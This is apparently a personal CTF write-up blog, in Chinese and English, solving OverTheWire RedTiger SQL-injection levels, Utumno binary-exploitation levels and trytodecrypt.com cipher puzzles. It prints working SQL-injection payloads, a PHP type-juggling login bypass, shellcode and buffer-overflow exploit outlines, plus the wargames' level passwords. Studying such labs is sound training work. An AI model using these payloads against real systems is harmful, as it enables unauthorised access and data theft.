WeChall - Training - MySQL II
WeChall - Training - Substitution I
WeChall - Training - Programming 1
WeChall - Encodings I
WeChall - Training - MySQL I
WeChall - PHP 0817
OverTheWire - RedTiger
RedTiger's Hackit
https://redtiger.labs.overthewire.org
RedTiger 是一个纯 Web 安全的 wargame,共 10 关,全是 SQL 注入(最后一关是 PHP 反序列化),从简单到复杂。
解法记录如下。
Level 1 — Simple SQL-Injection
目标:获取 Hornoxe 用户的密码
表名:level1_users
页面 GET 参数 ?cat=N 存在数字型注入,原始 SQL 类似:
1 | SELECT col1, col2, col3, col4 FROM some_table WHERE cat=1 |
这里 cat 参数查的是分类表,和登录无关。登录查询针对
level1_users 表。回显第 3、4 列。UNION 注入枚举 4
列即可:
1 | ?cat=1 UNION SELECT 1,2,username,password FROM level1_users |
拿到 Hornoxe 的密码:thatwaseasy
登录后拿到 flag 和 Level 2 密码。
[credential redacted]Level 2
密码:passwords_will_change_over_time_let_us_do_a_shitty_rhyme
Level 2 — Simple login-bypass
目标:登录绕过
用 Level 1 密码通过 Cookie level2login
认证后,页面显示登录表单。
SQL 类似(表名推测,页面未给出):
1 | SELECT * FROM users WHERE username='$username' AND password='$password' |
直接在 password 字段用 ' OR '1'='1 绕过条件验证。
Level 3 密码:feed_the_cat_who_eats_your_bread
Level 3 — Get an error
目标:获取 Admin 的密码
表名:level3_users
页面用 usr 参数查询用户详情。该参数经过
urlcrypt.inc 的解密函数处理:
1 | function encrypt($str) { |
srand(3284724) 固定种子,rand(0, 255)
序列可预测。
两个已知加密值: - MDQyMjExMDE0MTgyMTQw -> decrypt
-> Admin - MDYzMjIzMDA2MTU2MTQxMjU0 ->
decrypt -> TheCow
通过 glibc srand(3284724) + rand() + PHP
RAND_RANGE 宏可以算出 rand(0,255) 序列(前几个:107, 183, 99, 223, 226,
137...)。用 C 程序生成 200 个 key:
1 | #include <stdlib.h> |
加密 SQL 注入 payload 后用 usr 参数传入。表有 7
列,列映射为:
- Username=2, First name=6, Name=7, ICQ=5, Email=4
- id=1, password=7
Payload:
1 | ' union select '1',group_concat(password),'3','4','5','6','7' from level3_users# |
加密后访问拿到 Admin 密码。列映射来自第三方 writeup,实际列顺序可能有变动。
[credential redacted]Level 4 密码:put_the_kitten_on_your_head
Level 4 — Blind Injection
目标:获取表 level4_secret 中 keyword
列的第一个值
URL 参数:?id=N
页面提示:
LIKE被禁用- 唯一需要盲注的关卡
?id=1 返回
Query returned 1 rows.,?id=0 返回
0 rows。
列数:2 列(?id=1 UNION SELECT 1,2 返回 2 rows)
盲注脚本逐位提取 keyword:
1 | import requests |
Level 5 密码:this_hack_it's_old
Level 5 — Advanced login-bypass
目标:绕过登录
禁用:substring, substr, (, ), mid
提示:密码是 MD5 加密的
注入点在登录表单。表有 2 列。用 UNION 注入自定义用户和已知 MD5 值:
1 | ' union select '1','c81e728d9d4c2f636f067f89cc14862c' # |
c81e728d9d4c2f636f067f89cc14862c 是 2 的
MD5。服务端验证流程是:查询用户名和 MD5 密码,然后将输入密码 MD5
后比较。
Level 6 密码:the_stone_is_cold
Level 6 — SQL-Injection
目标:获取 level6_users 表中 status=1
的第一个用户
参数:?user=N
这是一个 UNION 注入。页面先查询用户 ID,再用返回的数据构造第二个查询。5 列。
Payload:
1 | ' union select 1,id,3,password,5 from level6_users where status=1 # |
返回:
- Username: 3
- Email: m0nsterk1ll
密码 m0nsterk1ll 登录成功。
Level 7 密码:shitcoins_are_hold
Level 7 — SQL-Injection
目标:获取发布 google 新闻的用户名(level7_news
表,autor 列)
限制:禁用 substr, substring, ascii, mid, like, --(no
comments)
原始查询涉及 JOIN,错误信息泄露了结构:
1 | SELECT news.*, text.text, text.title |
$input 在 SQL 中出现两次,注释符被禁用,故用 MySQL 的
" 做 quote-balancing:
payload 的 "(第 1 列)在 MySQL
默认模式下开启一个双引号字符串,吃掉第二次注入点及之间的所有内容(包括
OR text.title LIKE 分支),直到第二次
union select 后的 "
才闭合。('(第 4 列)和模板残留的 %' 拼接成
('%'),是一个合法的括起来的字符串表达式。最终 UNION SELECT
返回 4 列。
id=3 是 google 新闻在表中的条目 ID(通过枚举
text.title 确定)。
1 | goo%') union select ",2,(select group_concat(autor) from level7_news where id=3),(' |
返回 autor:TestUserforg00gle
Level 8 密码:or_so_i'm_told
Level 8 — SQL-Injection
目标:获取 admin 的密码
用户信息编辑页面,注入点在 email 字段(没有转义)。
SQL 为 UPDATE 语句:
1 | UPDATE {table} SET name='$input', email='$input', icq='$input', age='$input' WHERE id=1 |
在 email 字段注入,将 password 写入 name
字段利用回显读取。子查询从待更新的用户表(level8_users)中读取管理员密码。MySQL
不允许 UPDATE 的子查询直接引用目标表,需用 derived table 绕一层:
1 | ', name=(select password from (select password from level8_users limit 1) as t), email='a |
执行后页面显示 Name 字段变成密码值。
19JPYS1jdgvkj
Level 9 密码:network_pancakes_milk_and_wine
Level 9 — SQL-Injection
目标:获取任意用户的用户名和密码
表名:level9_users(数据源表)
这是一个 INSERT 注入。页面有提交表单(author, title,
text)。注意涉及两个表:INSERT 写入一个内容表(如
level9_news),子查询从 level9_users
读取目标数据。
= 被过滤,但可以通过闭合括号注入:
1 | '),((select username from level9_users),(select password from level9_users),'1 |
或者用 updatexml() 做 error-based 注入:
1 | a' or updatexml(2,concat(0x2e,(select username from level9_users)),0) or ' |
结果:
- Username:
TheBlueFlower - Password:
this_oassword_is_SEC//Ure.promised!
Level 10 密码:whatever_just_a_fresh_password
Level 10
目标:以 TheMaster 身份登录
页面有一个隐藏的 login 字段,值是 base64 编码的 PHP 序列化数据:
1 | <b>Welcome to Level 10</b><br /><br /> |
解码后:
1 | a:2:{s:8:"username";s:6:"Monkey";s:8:"password";s:12:"0815password";} |
PHP unserialize() 反序列化后做 ==
比较,后端大致逻辑:
1 | $data = unserialize(base64_decode($_POST['login'])); |
利用 PHP 类型转换漏洞:当 bool 和 string 用
== 比较时,true == "任何字符串" 恒为
true,password 比较永远通过。
构造 Serialize:
1 | a:2:{s:8:"username";s:9:"TheMaster";s:8:"password";b:1;} |
base64:
1 | YToyOntzOjg6InVzZXJuYW1lIjtzOjk6IlRoZU1hc3RlciI7czo4OiJwYXNzd29yZCI7YjoxO30= |
The password for the hall of fame is: *****************************
[credential redacted]OverTheWire - Utumno
utumno
utumno.labs.overthewire.org 2227
Utumno: 10 levels (0-9). Harder than Behemoth — creative exploitation: LD_PRELOAD hooking, argv/envp manipulation, integer overflows, negative index writes, setjmp/longjmp interference with pointer mangling.
Each user gets /tmp/utumno<N>/ for temp files.
1 | SSH Information |
level 0 → level 1
Initial password: utumno0
Level 0: The binary is exec-only (no read permission). Calls
puts() with the password string embedded in
.rodata. Use LD_PRELOAD to hook
puts() and dump the binary's data section from within the
process:
1 | utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ gcc -Wall -shared -fPIC -ldl -m32 -o hook32.so ld-preload-hooks.c -DENABLE_ALL |
1 | utumno0@utumno:/tmp/tmp.1hNZplWoeJ$ vim hook-memdump.c |
you can get the hook script from my scripts repo
ctf-tool
or use this script
1 | // gcc -m32 -fPIC -shared preload.c -o preload.so |
1 | $ gcc -m32 -fPIC -shared preload.c -o preload.so |
The password sits at 0x0804a010 in the binary's data
section as a literal string.
level 1 → level 2
Level 1: Binary reads filenames from a directory and executes the
part after sh_ as raw machine code.
Binary logic:
- Check argv[1] != NULL, else exit(1)
- mmap(NULL, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) → RWX region
- opendir(argv[1]), loop readdir()
- For each entry: strncmp(dname, "sh", 3) == 0 → match
- run(d_name + 3) → chdir(argv[1]), copy shellcode to RWX region, jmp there
So the shellcode IS the filename (after "sh_"). Constraints:
- No null bytes (strcpy stops at \0)
- No
/(0x2f) — path separator, kernel rejects it in the filename - Max 252 bytes (Linux filename limit 255 − 3 for "sh_")
1 | r2 -A -q -c "pdf @ sym.main" /utumno/utumno1 |
1 | # Build the shellcode, verify it has no nulls or / |
The shellcode does setreuid(16002,16002) (utumno2 UID =
0x3e82) then execve("code", ["code"], NULL) where "code" is
a symlink to /bin/sh. The binary's run() calls
chdir(argv[1]) before executing the shellcode, so the
relative path "code" resolves correctly under /tmp/x/.
level 2 → level 3
Level 2: Binary checks argc == 0 then does
strcpy(local_buf, envp[9]). Need argc == 0 via
execve(path, NULL, envp). The 10th envp entry
(envp[9]) overflows the 12-byte buffer, overwriting saved
EBP and return address. Put NOP sled + shellcode in an earlier envp
entry and point the return address there.
Write a Python script using pwntools + ctypes to call
execve() with crafted envp:
1 | #!/usr/bin/env python3 |
envp layout:
- indices 0-7: empty strings (filler)
- index 8:
NOP×52 + shellcode(return address points here) - index 9:
"AAAA×4" + p32(ret_addr)— overflow data, strcpy'd into buffer
Find the NOP sled address in GDB, update ret_addr, then
run:
1 | $ python3 exploit.py |
level 3 → level 4
Level 3: Byte-by-byte return address overwrite. Binary reads pairs of
bytes (position, value) via getchar() in a loop. The
position byte is XOR'd with (iteration * 3) before being
used as an offset from [ebp - 0x24] (or
[ebp - 0x20] on the current binary version — check the
offset with GDB). Need to compute position bytes that target EIP after
the XOR transform.
The loop runs up to 24 iterations. We send 4 pairs for the 4 bytes of the return address, then fill remaining slots with harmless writes.
Shellcode goes in EGG environment variable with a NOP
sled. Find the sled address with GDB.
1 | #!/usr/bin/env python3 |
1 | $ python3 exploit.py |
level 4 → level 5
Level 4: Integer overflow in memcpy(). Arg1 is converted
with atoi(), checked as 16-bit ≤ 63, but the actual
memcpy size uses the full 32-bit value. Pass
65536 as arg1 → 16-bit truncation yields 0 (≤ 63), but
memcpy copies 65536 bytes.
Offset to EIP: 65286 bytes. Put NOP sled + shellcode in the buffer itself (second argument), with return address pointing into the NOP sled.
1 | #!/usr/bin/env python3 |
1 | $ python3 exploit.py |
level 5 → level 6
Level 5: Requires argc == 0 (or argc == 1
with argv[0][0] == 0). Accesses argv[10] which
equals envp[9] (since argv[0]=NULL for argc=0). The
hihi() function does strlen(envp[9]); if >
19 chars, uses strncpy(buf, envp[9], 20) overwriting
12-byte buffer + saved EBP + return address. Shellcode goes in
envp[8].
Critical: On this server,
execve(path, NULL, envp) sets argc=1 with
argv[0]="". So argv[10] = envp[8], not
envp[9]. Need to swap: envp[8] = overflow
data, envp[9] = shellcode with NOP sled.
1 | #!/usr/bin/env python3 |
1 | $ python3 exploit.py |
level 6 → level 7
Level 6: Table-based key-value store with 3 args: position (base10),
value (base16), description (string). A write at
[ebp + pos*4 - 0x30] with position = -1 overwrites the
malloc pointer at [ebp - 0x34]. Then
strcpy(corrupted_malloc_ptr, argv[3]) copies description to
the overwritten address — a controlled write to anywhere.
Attack: Position -1 overwrites the
malloc pointer at [ebp - 0x34] with the return
address as an integer. Then strcpy(corrupted_ptr, argv[3])
copies the packed shellcode address to the return slot — hijacking
EIP.
Write primitive chain:
[ebp - 0x34] = ret_addrvia the table write (pos=-1, value=0xffffda9c)strcpy(0xffffda9c, argv[3])— writes 4 bytes of packed NOP address to the return slot- Function returns → EIP = NOP sled in EGG → shellcode
1 | #!/usr/bin/env python3 |
Address finding: Use GDB on the server to get EBP and NOP location. GDB vs non-GDB stack shift is ~0x60 on gibson-1 (from extra env vars GDB adds). Run the exploit directly (not in GDB) with addresses found via GDB + known offset.
[credential redacted]level 7 → utumno8
Level 7: Stack BOF with setjmp/longjmp.
Binary allocates a 288-byte buffer at [ebp-0x120], a
jmp_buf at [ebp-0xa0] (128 bytes into buffer),
calls _setjmp, strcpy from argv[1], then
longjmp.
glibc 2.39 PTR_MANGLE: longjmp uses
pointer mangling on ESP and EIP (XOR with thread-local secret + rotate
left 9). Only EBP is stored/restored raw. Direct EIP overwrite via
jmp_buf doesn't work.
Strategy: Overwrite jmp_buf[3] (EBP,
NOT mangled) at buffer offset 140 with the buffer address. After longjmp
restores EBP = buffer_addr, the leave; ret sequence at
vuln+84 pivots there.
Payload (144 bytes, null at byte 144 preserves mangled ESP/EIP):
1 | buf[0-3]: junk (popped into EBP by leave) |
Two critical details:
- Null-free shellcode: The shellcode must NOT contain
null bytes (strcpy stops at the first null). Use
mov bl, val; mov bh, valinstead ofmov ebx, val32which embeds nulls in the high bytes. - Avoid /bin/sh: Dash drops EUID to RUID on startup
(privilege sanitization). Use
execve("/bin/cat", ["/bin/cat", "/etc/utumno_pass/utumno8", NULL], NULL)instead — no shell, no privilege drop. - Buffer address finding: Since
randomize_va_space=0but GDB subtly shifts the stack, use a test shellcode (exit(42)) to brute-force the address. On gibson-1 with full SSH environment, buffer =0xffffda2c.
Exploit script (exploit.py):
1 | #!/usr/bin/env python3 |
1 | $ python3 exploit.py ffffda2c |
trytodecrypt.com — too much! (19-23)
trytodecrypt.com
Text 19
5F70017FDD92B75AA6668648B404223663157787B35686FA165A8193E5075777F
与 Text 16 类似,每 4 位 hex 一组(偏移 + 编码字符)。前 13 位 hex(8 字节)是前缀/校验,有效数据从第 14 位开始。
1 | CHARSET = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! " |
Text 20
8221E4F2173368D6B6B6E5050935D986A8C4CA764CF8A8C4B734E99807140B19DB691998095CC4E3D6C60D6E91
结构
目标密文长度是 90 hex,明文长度应为 18 字符。API 加密满足:
1 | len(encrypt(text)) == 5 * len(text) |
每 5 hex token 可以按下面方式观察:
1 | [prefix 1 hex][a 2 hex][b 2 hex] |
目标密文按这个 layout 拆开:
1 | pos group p a b (b-a)%71 |
这题是 randomized encryption:同一 plaintext 每次加密都不同。简单把
b-a、a-b、xor、prefix
当 key 都不成立。
1 | prefixes = ct[:n] |
在这个 layout 下,相邻 token 的 transition 有强信号:
1 | delta_i = b_i - a_{i+1} mod 71 |
对 one-hot plaintext(例如
aaaaaaaaaaaaaaaaaa、wwwwwwwwwwwwwwwwww)采样时,前
13 个 transition 的 delta_i
对字符有明显泄露。它不是完美映射,会有错字和缺位,但不是随机噪声。把目标密文的前
13 个 transition 丢进这个映射,得到:
1 | Par!2Lan6aaND |
这个结果已经足够说明几件事:
1 | Par -> 很像 Paris 的开头 |
也就是说,算法至少泄露出“城市名串”的轮廓。再结合 Text 20 明文长度必须是 18 字符,最自然的补全是:
1 | ParisLondonNewYork |
用 solve API 验证:
1 | solve?id=20&solution=ParisLondonNewYork -> 1 |
已排除的方向
这些方向已经用 oracle 样本和 held-out 测试排除,不值得无新假设地重复:
1 | exact 5-hex token dictionary |
尤其是统计模型很容易在 constant corpus 上过拟合。用 random plaintext 做 5-fold held-out 后,top5 基本等于随机基线:
1 | fold0 top1=0.0139 top5=0.0736 |
一个有价值但尚未破解的结构
把密文看成 front layout:前 n 个 hex 是 prefix,后面每字符 4 hex 是两个 byte。这个视角下,前 13 个相邻 transition 有明显结构:
1 | delta_i = b_i - a_{i+1} mod 256 |
对 repeated char 样本,前 13 个 transition 很稳定:
1 | w -> w 基本总是 0 |
但从 pos13 之后,这个 transition 会退化成近随机。也就是说,算法里可能存在一段链式状态,长度或边界不是简单的 18 字符全程一致。
尝试把 target 的 transition 当成普通 pair dictionary
解路径失败:高分候选都不是合理明文,少量提交也返回
0。因此这里的结构更像某种 state/nonce/PRNG relation,而不是
F(ch_i, ch_{i+1}) 这种直接查表。
当前结论
Text 20 的答案已通过 solve API 验证。它的核心不是 per-token decode,也不是纯靠猜;而是:
1 | 1. 通过长度确认明文 18 字符。 |
所以这里确实有语义猜测,但不是 blind guess。更准确地说,它是“结构泄露 + 人类模式识别 + oracle 验证”。后 5 位没有找到独立稳定 channel,因此没有把完整公式还原出来。
Text 21
333131353156333131323231305230363135315631333151342F3430313131323154342F
每字符加密为 4 位 hex(2 ASCII 字节),固定替换表。密文 hex 解码后每 2 字节对应一个明文字符。
1 | #!/usr/bin/env python3 |
1 | # ============================================================ |
Text 22
00100401400A0120A101C0310F503706004E05B0870A00880D80ED0BE1262890FD16816A1453453721963ED1D11F04624D9
结构分析
99 hex,每字符加密为 9 hex(3 组 × 3 hex),共 11 字符。
加密是确定性的(同一输入永远返回同一输出),但算法是位置相关的:同一个字符在不同位置产生完全不同的密文。
加密 0(charset index 0)和 a(index
10)在不同位置的输出:
1 | 位置 0: '0' → [001, 003, 008] 'a' → [001, 003, 050] 仅 group2 变化 |
关键观察:
- group0 只与位置有关,与字符无关(同一位置所有字符共享同一个 group0,如位置 0 永远是 001、位置 1 永远是 00A)
- group1 + group2 共同编码字符,但公式复杂且各位置不同
- 不存在简单的线性公式:尝试过
(b2-b1) % 71、(b1+b2-K) % 71、(b1 XOR b2) % 71等均不成立
解法:progressive guessing(渐进猜解)
不需要理解加密公式也能解密:只要能调用加密工具,就可以暴力猜解。
核心依赖密文的前缀保持性质:
1 | encrypt("a") → 001003050 (9 hex) |
密文的前 N×9 hex 完全由明文的前 N
个字符决定。后续字符不影响前面的密文段。
算法:
- 从空字符串开始
- 对位置 i,已有正确前缀
guess(前 i 个字符已破解) - 遍历 charset 中全部 71 个候选字符
c - 通过 API 加密
guess + c - 如果返回的密文以目标密文的前
(i+1)×9hex 开头,则c就是第 i 位字符 - 重复至 11 位全部破解
最坏 11 × 71 = 781 次 API 调用,几分钟内执行完毕。
关于反爬
最初尝试用 web
端加密(POST https://www.trytodecrypt.com/decrypt.php)做猜解,但非浏览器请求被服务端
bot 检测拦截,始终返回 503 Service
Unavailable。即使带上 PHPSESSID cookie 和 User-Agent
也无济于事。
切换到独立 API 接口即解决:
1 | # 有反爬(503) |
API 端用 key 做身份认证,不做 bot 检测。key 在登录后从 API 页面 获取。
1 | import urllib.request, urllib.parse |
运行过程:
1 | [1/11] m |
Text 23
E3F59F001361B62958E551B9702F2C6B25F9E3FC350062295A1A20182041493C447BA0767A393A1F278DB14268565F51575C65212A8386494B383F7375676845472F30494C737A406890988B8D50577A835960476B6F73686E6367668B787A494C33357EA4555E191C18216A6F353A173E2026474A8A8C3F481416759D
这题最后的关键不是 PRNG,也不是统计分类,而是 递归套壳:Text 23 的整段 250-hex ciphertext 可以先按 Text19/Text20 那种 front-prefix layout 解出一层 50-hex 中间密文;这个中间密文再用同一个规则解一次,得到真正 plaintext。
第一层:把 250 hex 当成 50 个 5-hex token
目标密文长度是 250 hex。把它整体看成 50 个 5-hex token。
沿用前面 Text 19 / Text 20 里反复出现的 layout:
1 | prefixes = ct[:n] |
对 Text
23,n = 250 / 5 = 50。第一层解出来不是最终明文,而是一个仍然全为
hex 的 50 字符串:
1 | 6888B418AC9699327212137E82797A464B232C93955D63292E |
这一点非常反直觉,因为 API 行为确实显示:
1 | len(encrypt(text)) == 25 * len(text) |
所以目标明文长度看起来应是 10 字符。但真正结构是:外层把「内层 50-hex 密文」再包了一次。
第二层:对 50-hex 中间密文再解一次
中间密文长度 50 hex,同样可看成 10 个 5-hex token。再跑同一个 decode:
完整复现代码:
1 | CHARSET = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ-_.,;:?! ' |